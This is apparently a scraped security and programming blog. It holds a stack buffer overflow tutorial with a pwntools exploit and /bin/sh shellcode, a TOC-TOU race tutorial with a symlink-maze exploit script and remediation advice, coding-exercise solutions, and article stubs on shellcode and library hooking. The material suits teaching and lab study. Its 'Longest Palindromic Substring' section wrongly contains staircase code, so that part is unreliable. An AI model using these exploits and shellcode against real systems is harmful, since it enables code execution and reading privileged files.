In this article, I am going to show how to exploit a stack-based buffer overflow and the conditions that make this possible. For the purpose of this exercise, we are going to switch off 3 security features: Address Space Layout Randomization (ASLR) Non-executable stack (aka stack execution prevention, aka NX Bit) Stack canary (aka stack-protector) How to switch off ASLR To switch off ASLR: $ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' (Note that I didn’t do sudo echo 0 > /proc/sys/kernel/randomize_va_space because the output redirection command > will be performed as standard user but we need root permission to perform this operation.) How to switch off non-executable stack and stack canary security features To switch off the non-executable stack and the stack canary protections, we need to compile the program as follow: $ gcc -fno-stack-protector -z execstack -o overflow64 overflow64.c The use of the option -z execstack will prevent stack to be non-executable (i.e., it will be executable) while the option -fno-stack-protector disable the stack canary protection. Stack-based buffer overflow scheme The overflow of a variable positioned in the stack occurs when an operation is performed without checking the details of such operation resulting in a writing beyond the boundaries of such variable. When an operation write data on a buffer based on the stack beyond its limits, this operation can cause the overwriting of the return address of the function where this variable is allocated. This is because, as explained in The Stack, the local variables are above the return address as shown in the picture below. How we can exploit this situation? What can we write into the stack? The left stacks in both images represent a normal stack. The right stacks in both images represent a stack after the unsafe write operation. The unsafe operation started to write data from the top of the stack (where the stack variable is stored) and continue beyond its limit to overwrite the return address of the same function. This address is where the program expect to find the return address of the function. By overwriting this address we are able to to diverge the execution of the program. In this image, we can see that in the stack is written also some nop slides before the shellcode. These are only a series of nop operations, i.e., no-operation operation (0x90 in machine code). We use nop slide because sometimes it is difficult to the jump to the start of the shellcode. In this way it is possible to jump approximately before it. The nop operation is 1 byte long, and jumping to any byte address where these operations are located will not cause any error. This instruction is used because it does not do anything and it moves to the next operation. At the end of the nop slide the shellcode will be located and executed. The program to exploit This is the source code of the program that we are going to exploit: // file: overflow64.c #include<stdio.h> int main(int argc, char* argv[]) { char buff[20]; scanf("%s", buff); return 0; } In line 7, there is a vulnerable operation. Why vulnerable? Because it does not check the boundaries of the arrays that are being copied (check man scanf). Let’s compile this program as described in previously. The first thing we need to do is to crash the program. If we input more than 20 characters the program crash: $ ./overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) We can see that the terminal reports Segmentation fault. Let’s try to get a bit more details on this crash. The next step is to understand why it is crashing. By running dmesg: $ dmesg | tail ...... [13401.299114] overflow64[16566]: segfault at 616161616161 ip 0000616161616161 sp 00007fffffffddb0 error 14 in libc-2.27.so[7ffff79e4000+1e7000] The logs shown by dmesg show that the program named “overflow64” received a segfault (segmentation fault) when trying to access a memory location with address 616161616161. (When we run the program, we input a lot of “a” that in ASCII are represented with the hexadecimal value of 0x61. Is it a coincidence? Spoiler alert: no.) This happen because the program is trying to access a memory address that is not supposed to. Giving in input more “a"s we can incur in a different dmesg message: $ dmesg | tail ...... [13747.451995] traps: overflow64[16766] general protection ip:555555554697 sp:7fffffffdda8 error:0 in overflow64[555555554000+1000] In this case the message is referring to a general protection. What is this? In x86_64 bit architecture the maximum canonical address is currently 0x00007fffffffffff. Therefore even if an address is 64 bit long, current processor use only 48 bits of those. This was done because 48 bit address gives already an address space of 256 terabytes, therefore it will be enough for quite a long future. Therefore instead of wasting hardware and power resources, the hardware manufactures decided this way. The architecture design support 64 bit but the current hardware implementations do not. To gather even more information on the crash we can run the program within GDB. For this purpose I use GEF to have an easier access to debug information. $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7dd0560 → 0x00007ffff7dcc580 → 0x00007ffff7b9996e → 0x636d656d5f5f0043 ("C"?) $rdx : 0x00007ffff7dd18d0 → 0x0000000000000000 $rsp : 0x00007fffffffdcd8 → "aaaaaaaaaaaaaaaaaa" $rbp : 0x6161616161616161 ("aaaaaaaa"?) $rsi : 0x1 $rdi : 0x0 $rip : 0x0000555555554697 → <main+45> ret $r8 : 0x0 $r9 : 0x0 $r10 : 0x0 $r11 : 0x0000555555554726 → add BYTE PTR [rax], al $r12 : 0x0000555555554560 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffddb0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│+0x0000: "aaaaaaaaaaaaaaaaaa" ← $rsp 0x00007fffffffdce0│+0x0008: "aaaaaaaaaa" 0x00007fffffffdce8│+0x0010: 0x00007fffff006161 ("aa"?) 0x00007fffffffdcf0│+0x0018: 0x0000000100008000 0x00007fffffffdcf8│+0x0020: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdd00│+0x0028: 0x0000000000000000 0x00007fffffffdd08│+0x0030: 0x7d8cd030cadb6f2f 0x00007fffffffdd10│+0x0038: 0x0000555555554560 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555468c <main+34> call 0x555555554540 <__isoc99_scanf@plt> 0x555555554691 <main+39> mov eax, 0x0 0x555555554696 <main+44> leave → 0x555555554697 <main+45> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow64", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555554697 → main() ──────────────────────────────────────────────────────────────────────────────── 0x0000555555554697 in main () In line 47, this program stopped because received the SIGSEGV i.e., segmentation fault (see man 7 signal for more information on signals). In lines 41-45, you can see code information. You can see that the program stopped at the ret instruction. In lines 12-30, you can see registers information. In lines 32-39, you can see stack information. In line 7, we can see the input that we fed to the program. The ret takes the address pointed by the stack pointer (rsp) and continue the execution from there. The address that the program is trying to jump to is an invalid address that we overwrite when we overflow the address. Our goal is to be able to write in this address an arbitrary address so that we can divert the execution. We need to write an address that when executed its content will eventually execute our shellcode. With the help of GDB we can break in the main function and have a look at the stack address of the function: $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x66e gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcc0│+0x0000: 0x00005555555546a0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp 0x00007fffffffdcc8│+0x0008: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax 0x00007fffffffdcd0│+0x0010: 0x0000000000000001 0x00007fffffffdcd8│+0x0018: 0x00007fffffffdda8 → 0x00007fffffffe12f → "/home/pippo/ctf/lectures/basic_buffer_overflow/ove[...]" 0x00007fffffffdce0│+0x0020: 0x0000000100008000 0x00007fffffffdce8│+0x0028: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdcf0│+0x0030: 0x0000000000000000 0x00007fffffffdcf8│+0x0038: 0x34f880d1fbfab7e5 ────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555554665 <frame_dummy+5> jmp 0x5555555545d0 <register_tm_clones> 0x55555555466a <main+0> push rbp 0x55555555466b <main+1> mov rbp, rsp → 0x55555555466e <main+4> sub rsp, 0x30 0x555555554672 <main+8> mov DWORD PTR [rbp-0x24], edi 0x555555554675 <main+11> mov QWORD PTR [rbp-0x30], rsi 0x555555554679 <main+15> lea rax, [rbp-0x20] 0x55555555467d <main+19> mov rsi, rax 0x555555554680 <main+22> lea rdi, [rip+0x9d] # 0x555555554724 ...... Breakpoint 1, 0x000055555555466e in main () (The snippet shows only the interesting parts.) In line 11, we can see that the stack is currently at position 0x00007fffffffdcc0. The space of the local variable have not been allocated yet as shown in line 23. When we overflow the local variables we are going to write our shellcode around this address. In order to execute the shellcode we need to overwrite the return address of the function with our crafted address. The location of the return address to overwrite is relative to the buffer that we are overflowing depends on many things. It depends on the size of other local variables (and their positions compared to the overflowed one) the stack alignment, and to the presence of the stack canary. The best way to find the correct location is to try to input increasingly number of input until we can see that we overwrite the return address of the function. Once we find the offset of the return address, we need to point it to the shellcode. We have already found the location near where the shellcode will be located. What needs to be placed in the stack is a nop slide to help to reach our shellcode as shown previously. This is achieved with the following code (I am using Pwntools): # filename: exploit_overflow64.py from pwn import * import sys # process name to exploit process_path = "./overflow64" shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f" shellcode += "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57" shellcode += "\x54\x5f\x6a\x3b\x58\x0f\x05" # return address obtained by adding 0x30 to the top of the stack # maximum canonical address size is 0x00007FFFFFFFFFFF ret_addr = "\x00\x00\x7f\xff\xff\xff\xdd\x50"[::-1] payload = "A"*40 + ret_addr payload += "\x90" * 500 + shellcode # Writing payload to file to be used elsewhere (e.g., GDB) f = open("payload", 'w') f.write(payload) f.close() # start the program proc = process(process_path) # send payload proc.sendline(payload) # we need interact with the spawned shell proc.interactive() proc.close() In line 16, we can see that I am preparing the input to the scanf function writing 40 “A”, then the return address, then 500 nop operations and finally the shellcode. Now can can give the input to the function that will overflow the variable and write the correct return address. We can run it on GDB and break it just after the scanf function our stack will look like this: gef➤ dereference $rsp 20 0x00007fffffffdc90│+0x0000: 0x00007fffffffdda8 → 0x9090909090909090 ← $rsp 0x00007fffffffdc98│+0x0008: 0x0000000100000000 0x00007fffffffdca0│+0x0010: 0x4141414141414141 0x00007fffffffdca8│+0x0018: 0x4141414141414141 0x00007fffffffdcb0│+0x0020: 0x4141414141414141 0x00007fffffffdcb8│+0x0028: 0x4141414141414141 0x00007fffffffdcc0│+0x0030: 0x4141414141414141 ← $rbp 0x00007fffffffdcc8│+0x0038: 0x00007fffffffdd50 → 0x9090909090909090 0x00007fffffffdcd0│+0x0040: 0x9090909090909090 0x00007fffffffdcd8│+0x0048: 0x9090909090909090 0x00007fffffffdce0│+0x0050: 0x9090909090909090 The address below the rbp is the one that contains the return address that we overwrite when we overflow the variable and now it points to a location where nop are store. At the end of the nop there is the shellcode, when executed, the program is going to eventually execute the shellcode that was our initial goal

Papers

Timeless Papers

TODO

Python

Building Houses

The text of the exercise is the following: A builder is looking to build a row of N houses that can be of K different colours. He has a goal of minimizing cost while ensuring that no two neighbouring houses are not of the same colour. Given an N by K matrix where the nth row and kth column represents the cost to build the nth house with kth colour, return the minimum cost which achieves this goal. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear: Can an house cost 0? No. Can N > K or N < K ? Yes. My solution It is clear that finding the minimum iteratively for each house can return a local minimal solution but we are interested in the global minima. Python C Java import math N = 6 K = 4 cost_matrix = [ [1 , 20, 34, 20], [40, 10, 15, 30], [50, 1, 20, 40], [70, 80, 30, 1 ], [1 , 60, 30, 40], [70, 50, 1 , 20] ] def find_house(row, col, tot, min_tot): if row < N: tot += cost_matrix[row][col] for c in range(K): if c != col: min_tot = find_house(row+1, c, tot, min_tot) else: if min_tot > tot: min_tot = tot return min_tot def main(): print ("Minimum value found:", find_house(0,0,0, math.inf)) #include<stdio.h> #include<limits.h> #define K 4 #define N 6 int cost_matrix[N][K] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; int find_house(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = find_house(row+1,c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } int main() { printf("Minimal cost: %d\n", find_house(0, 0, 0, INT_MAX)); return 0; } public class BuildHouse { static int N=6; static int K=4; static int cost_matrix[][] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; public static void main(String[] args) { System.out.println("Minimum value found: "+ findHouse(0,0,0,Integer.MAX_VALUE)); } static int findHouse(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = findHouse(row+1, c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } } Code Explanation The function find_house is a recursive function that takes the row, col, tot and min_tot as input parameters. The function transform the matrix into a tree and perform a kind of “depth-first” exploration returning the minimum of the total found. row represents the row of the house. col represents column of the house. tot represents the total up to the reached node. min_tot represents the minimum of the cost found up to that moment The recursion stops when all the nodes have been explored. Time complexity: \( O(N^K) \) Space complexity: \( O(N^K) \)

Longest Palindromic Substring

The text of the exercise is the following: Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: “babad” Output: “bab” Note: “aba” is also a valid answer. Example 2: Input: “cbbd” Output: “bb” My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function `staircase` is a recursive function that takes the `n` and `result` as input parameters. * `n` represents the number of stairs that remains to be climbed. * `result` represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. **Time complexity**: \\( O(2^N) \\) **Space complexity**: \\( O(2^N) \\) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } **Time complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) **Space complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) --

N Steps Staircase

The text of the exercise is the following: There’s a staircase with N steps, and you can climb 1 or 2 steps at a time. Given N, write a function that prints all the unique ways you can climb the staircase. The order of the steps matters. For example, if N is 4, then there are 5 unique ways: 1, 1, 1, 1 2, 1, 1 1, 2, 1 1, 1, 2 2, 2 What if, instead of being able to climb 1 or 2 steps at a time, you could climb any number from a set of positive integers X? For example, if X = {1, 3, 5}, you could climb 1, 3, or 5 steps at a time. Generalize your function to take in X. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear. Are the steps going to be always positive number? Yes. In the general case, is 1 going to be always in the possible steps? No. My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. n represents the number of stairs that remains to be climbed. result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. Time complexity: \( O(2^N) \) Space complexity: \( O(2^N) \) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } Time complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \) Space complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \)

Race Condition

TOC - TOU

In this article I want to describe a common race condition vulnerability type known as Time-Of-Check - Time-Of-Use (TOC-TOU). I am going through the following steps: The vulnerability Setup the environment for the challenge Exploit the challenge How to remediate for the vulnerable code The vulnerability Let’s discuss the vulnerability by analysing the following code: // filename: toc_tou.c #include<unistd.h> #include<stdio.h> int main(int argc, char * argv[]) { FILE * file; int can_read, c; can_read = access(argv[1], R_OK); if (can_read == 0) { file = fopen(argv[1], "r"); while((c = fgetc(file)) != EOF){ putc(c, stdout); } fclose(file); } else{ printf("You have no power!\n"); } return 0; } In line 10, the file path given as argument, will be used to check if you have the permission to read the file pointed by it. If you don’t the program will print “You have no power!”. In line 13, the same file path will be used to read the file pointed by it. The problem comes when you provide a path to a file that you can read, in order to pass the check in line 10, and before the program reach line 13 you change the file pointed by the same path. The time between the execution of line 10 and the line 13 is what we have to change the file pointed by the path provided. Even if it may seem that there is not much time between the execution of the two command there is still a race condition that we are going to exploit. In this vulnerable program, the read operation performed by the root user. Of course, it is not a good practice to run a program with high privileges but the program should drop them as soon as possible and run with lowest possible privileges. In this article we are not going to dig more into this aspect. Setup the environment for the challenge To setup the challenge we are going to setup the environment with the following code: #!/bin/bash # filename: create_challenge.sh rm -f file_to_check.txt sudo rm -f file_to_open.txt echo 'public file' > file_to_check.txt echo 'secret file' > file_to_open.txt chmod 700 file_to_open.txt sudo chown root:root file_to_open.txt make sudo chown root:root toc_tou sudo chmod u+s toc_tou Where the makefile is: all: toc_tou toc_tou: toc_tou.c makefile gcc -o toc_tou toc_tou.c Once you run $ ./create_challenge.sh you should have a folder that looks like this: -rwxr-xr-x 1 pippo pippo 265 May 23 08:52 create_challenge.sh* -rw-r--r-- 1 pippo pippo 12 May 23 08:55 file_to_check.txt -rwx------ 1 root root 12 May 23 08:55 file_to_open.txt* -rwxr-xr-x 1 pippo pippo 72 Apr 20 22:38 makefile* -rwsr-xr-x 1 root root 8568 May 23 08:55 toc_tou* -rwxr-xr-x 1 pippo pippo 863 May 23 08:52 toc_tou.c* In line 5, you can see that the toc_tou program has the setuid bit active and the program owner is root. This means that when the program is going to be executed it will run with he effective user ID as root. Exploit the challenge To exploit this program we are going to provide the program a path to a “filesystem maze” so that to reach the file pointed by the path, the system need traverse a lot of folders: #!/bin/bash currentDir=$(pwd) linkOut=0 linkIn=1 numFolders=1900 fileTarget=file_to_check.txt create_folders(){ folder=$1 dirstring="." for index in $(seq 0 $numFolders); do mkdir $folder && cd $folder && dirstring=${dirstring}/$folder ; done ln -s $currentDir/link$linkIn link$linkIn cd $currentDir ln -s $currentDir/$dirstring/link$linkIn link$linkOut linkOut=$(($linkOut+1)) linkIn=$(($linkIn+1)) } create_folders "1" create_folders "2" create_folders "3" create_folders "4" create_folders "5" create_folders "6" create_folders "7" create_folders "8" create_folders "9" create_folders "0" ln -s $fileTarget link$linkOut ln -s link0 link This code will create 10 folders that have 1900 folders inside each of them. It will also create 10 links in the current folder that point to the inner most folder where another link points to the next link in the main folder. This chain of links will end with the link in the main folder that will point to the file we need to check. link –> link0 link0 –> folder –> . . . –> folder –> link1 . . . link8 –> folder –> . . . –> folder –> link9 link9 –> file_to_check.txt As explained before the purpose of this “maze” is to slow down the traversal of the path done by the system. When the system is busy traversing the path to reach the legitimate file used to check the permission, we can change the file pointed by the initial path to a file of our choice. Since the program is running with root permission, we will be able to read any file. Now we can run the program as: $ ./toc_tou link My CPU is an i7 running at 2.90GHz and it takes about 1.5 seconds to traverse the maze to find the file used to check the access permissions. During this time we can have another terminal open to change the pointer of the link given as argument: $ rm link && ln -s file_to_open.txt link A common problem that you can incur while trying this challenge is that when you execute the creation of the maze the system is going to cache them in order to speed-up future operations. To clear the cache from dentries, inodes and page cache, you can execute: # sync && echo 3 > /proc/sys/vm/drop_caches Now, if you try to exploit the vulnerable program again, your system is going to traverse the path again. It is clear that in a real exploitation, you won’t have access to this privileged command therefore you’ll have to wait for the cache to clean itself or use other programs to force the cache to be filled with other data. It is of course possible to create a bigger maze to have more time between the two operations.In my trials, with 36 folders, each of them with 1900 inner folders, the path resolution is going to take 3.6 seconds. With 36 folders, each of them with 1500 inner folders, the path resolution is going to take 2.6 seconds. How to remediate for the vulnerable code The program is vulnerable because it operates on file paths that can be changed after the check operation. To avoid that, the program need to operate on file descriptor. The open function can be used open a file and it returns a file descriptor. Once you have the file descriptor you can use other functions to check the permission of the file, like fstat. int open(const char *pathname, int flags); int fstat(int fd, struct stat *statbuf); In addition to use functions that use file descriptors you can use file pointers too. A file descriptor is an integer used to identify an opened file at kernel level. A file pointer is a C standard library construct, called FILE. The FILE wraps the file descriptor, and adds other features to it. (It is possible to get the file pointer from a file descriptor, and vice verse, with the functions fileno and fdopen.)

secp256k1

Sign and Verify a Message with Openssl ECDSA Library

This article wants to show how to sign and verify a message using an Elliptic Curve Digital Signature Algorithm. In particular, I am going to use secp256k1 class of curves used in Bitcoin.

Shared library

Hooking Shared Library

In this article I am going to explain how to create and hook a shared library.

Shellcode

Build Your Own Shellcode

A shellcode is a piece of compiled code that, when executed, it is going to launch a shell. It is typically given as input to a program to be eventually executed. In this article, I am going to: Introduce background information to understand the overall process Create an assembly program that invoke an exit system call (exitcode) Create an assembly program that invoke a shellcode Background information The shellcode is a piece of code that operates on the lowest level of the system architecture, therefore some important details are architecture dependent. In order to be run on a target system we need to know low level system details of the target architecture. System call A system call is a way to invoke a function that is executed by the kernel. In Linux there are several way to invoke a system call, the most common ones are either by int 0x80 or by syscall. The int 0x80 method is the legacy way of invoking a system call. It is available both on x86 and x64 architectures but in modern architecture should be avoided because it is slower. The syscall is the default way of invoking a system call only available on x64 architectures. To invoke a syscall we need to know how interact with the system because each architecture has its own way to transition to kernel mode. On Ubuntu, the man page is a good place to start: $ man syscall. Here, you can see that each system call has a number associated to it. Under “Architecture calling conventions”, in the first table you can see that the x86-64 architecture requires the system call number to be placed in the rax register and the return value will be placed again in rax. In the second table, you can see in which register you need to place the parameters passed as arguments. To invoke a system call under the x86-64 architecture you need to place the parameters in rdi, rsi, rdx, r10, r8, r9 (in this order). If a system call needs more than 6 parameters you’ll have to place the other parameters on the stack. Now we need to know what are the numbers associated to the system calls. These numbers are defined usually located in the unistd_64.h file for 64 bit architecture (or in unistd_32.h file for 32 bit architecture). In Ubuntu 18.04 64 bit, the system call numbers for 64 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_64.h. (For 32 